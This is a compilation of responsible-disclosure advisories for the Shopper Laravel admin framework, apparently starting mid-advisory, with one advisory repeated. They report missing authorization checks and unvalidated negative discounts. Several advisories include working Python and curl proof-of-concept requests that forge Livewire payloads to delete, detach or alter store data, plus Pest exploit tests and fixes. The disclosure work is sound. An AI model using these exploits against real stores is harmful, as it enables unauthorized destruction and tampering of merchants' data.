    ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray())
    ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correct_permission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

 // Pages/Attribute/Browse.php
 ->groupedBulkActions([
     DeleteBulkAction::make()
+        ->authorize('delete_attributes')
         ->label(__('shopper::forms.actions.delete'))
         ->requiresConfirmation()
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('enabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.enable'))
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('disabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.disable'))
         ->action(function (Collection $records): void { /* ... */ }),
 ])

Apply the equivalent change to Pages/Tag/Index.php (delete_tags), Pages/Brand/Index.php (edit_brands for enable/disable), Pages/Category/Index.php (edit_categories), and Pages/Supplier/Index.php (edit_suppliers).

A regression test for each file (acting as a browse_*-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

• Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr.
• Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain.
• CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

| Component | File | Unauthorized action | |---|---|---| | Settings\Zones\ZoneShippingOptions | packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 | delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) | | Settings\Zones\Detail | packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 | delete → DeleteAction on the bound Zone | | Settings\Taxes\Detail | packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 | delete → DeleteAction on the bound TaxZone | | Settings\Taxes\TaxRates | packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 | delete → DeleteAction on a TaxRate |

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});

Result:

Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

• Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
• Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
• Delete a TaxZone / TaxRate → TaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

Summary

The Shopper Framework discount management functionality accepts negative discount values without server-side validation.

It was confirmed that negative fixed-amount discounts can be created through the administrative interface, persisted to the database, and subsequently processed by the cart/order calculation pipeline.

The application appears to assume that discount values are always positive but does not enforce this assumption during creation, storage, or calculation.

As a result, malformed discount records can influence financial calculations and produce unintended order totals.

Affected Product

Package: shopper/framework

Version Tested: 2.8.1

Vulnerability Type

• Business Logic Vulnerability
• Improper Input Validation (CWE-20)

Description

While reviewing the discount functionality, it was discovered that the application accepts negative discount values through the administrative interface.

Example values tested:

-50.00
-99,999,999.00

The application accepted these values without validation and stored them in the database.

Example records observed in the sh_discounts table:

1 | QCZ5Y3HESM | fixed_amount | -5000
4 | TOZKAHCB4S | fixed_amount | -9999999900

This demonstrates that negative discount values are successfully persisted.

Steps to Reproduce

1. Create a Discount

Login as an administrator.

Navigate to:

/cpanel/discounts

Create a new discount with the following values:

Type: fixed_amount
Value: -99999999

Save the discount.

2. Observe Successful Creation

The discount is accepted by the application and displayed in the administration interface.

Example:

Code: TOZKAHCB4S
Amount: -$99,999,999.00

3. Verify Database Persistence

Inspect the database:

select * from sh_discounts;

Observed entry:

TOZKAHCB4S | fixed_amount | -9999999900

Technical Analysis

Discount Calculation

File:

vendor/shopper/cart/src/Discounts/DiscountCalculator.php

Observed code:

$fixedAmount = $discount->value;

The value is later processed without validation:

$fixedAmount = min($fixedAmount, $applicableSubtotal);

When a negative value is supplied:

min(-9999999900, 10000)

returns:

-9999999900

allowing the negative value to continue through the calculation pipeline.

The resulting adjustment values are inserted into the database:

CartLineAdjustment::query()->insert($adjustments);

No validation was identified to ensure that discount amounts are positive before calculations occur.

Final Total Calculation

File:

vendor/shopper/cart/src/Pipelines/Calculate.php

Observed logic:

$context->total = max(
    0,
    $context->taxInclusive
        ? $context->subtotal - $context->discountTotal
        : $context->subtotal - $context->discountTotal + $context->taxTotal
);

Because negative discount values are allowed to reach this stage, financial calculations are performed using malformed discount data.

Example:

Subtotal      = 10000
DiscountTotal = -5000

Resulting calculation:

10000 - (-5000)

Result:

15000

This demonstrates that negative discount values directly affect order total calculations.

Impact

The following was confirmed:

• Negative discount values are accepted.
• Negative discount values are persisted.
• Negative discount values are processed by the discount calculation engine.
• Negative discount values affect order total calculations.

Potential consequences include:

• Incorrect pricing calculations.
• Financial data integrity issues.
• Unexpected order totals.
• Violated assumptions within downstream pricing logic.
• Future vulnerabilities if additional components assume discount values are always positive.

Because Shopper is a headless e-commerce administration framework and does not ship with a customer-facing storefront, it was not verified a customer-facing exploitation path.

However, malformed discount records currently propagate through pricing calculations without validation.

Recommendation

Implement server-side validation enforcing positive discount values before persistence and before entering the calculation pipeline.

Suggested validation:

Fixed Amount Discounts

value > 0

Percentage Discounts

0 < value <= 100

Additionally, existing discount records should be validated before calculation to prevent malformed data from influencing pricing logic.

Environment

Shopper Framework 2.8.1
Laravel 12.61.1
PHP 8.4.16
SQLite

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse_* permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browse_attributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browse_tags can permanently delete every product tag. Users holding browse_brands, browse_categories, or browse_suppliers can flip the visibility (is_enabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browse_attributes.

• Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('delete_attributes')).
• Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_attributes-only user can delete every row in the attributes table, and toggle is_enabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attribute_product pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browse_tags.

• Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('delete_tags')).

Net effect: a browse_tags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browse_brands.

• Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_brands-only user can flip is_enabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browse_categories.

• Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_categories-only user can flip is_enabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browse_suppliers.

• Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_suppliers-only user can flip is_enabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

• packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('access_setting').
• packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('delete_reviews').
• packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('delete_collections').
• packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('delete_discounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse_*-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

   PASS  Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: browse_tags viewer can DELETE all product tags via unguarded DeleteBulkAction

  Tests:    7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse_* permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

$this->viewer = User::factory()->create();
$this->viewer->givePermissionTo('browse_attributes');
$this->actingAs($this->viewer);

Attribute::factory()->count(3)->create();
expect($this->viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
    ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray())
    ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correct_permission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

 // Pages/Attribute/Browse.php
 ->groupedBulkActions([
     DeleteBulkAction::make()
+        ->authorize('delete_attributes')
         ->label(__('shopper::forms.actions.delete'))
         ->requiresConfirmation()
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('enabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.enable'))
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('disabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.disable'))
         ->action(function (Collection $records): void { /* ... */ }),
 ])

Apply the equivalent change to Pages/Tag/Index.php (delete_tags), Pages/Brand/Index.php (edit_brands for enable/disable), Pages/Category/Index.php (edit_categories), and Pages/Supplier/Index.php (edit_suppliers).

A regression test for each file (acting as a browse_*-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

• Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr.
• Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain.
• CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

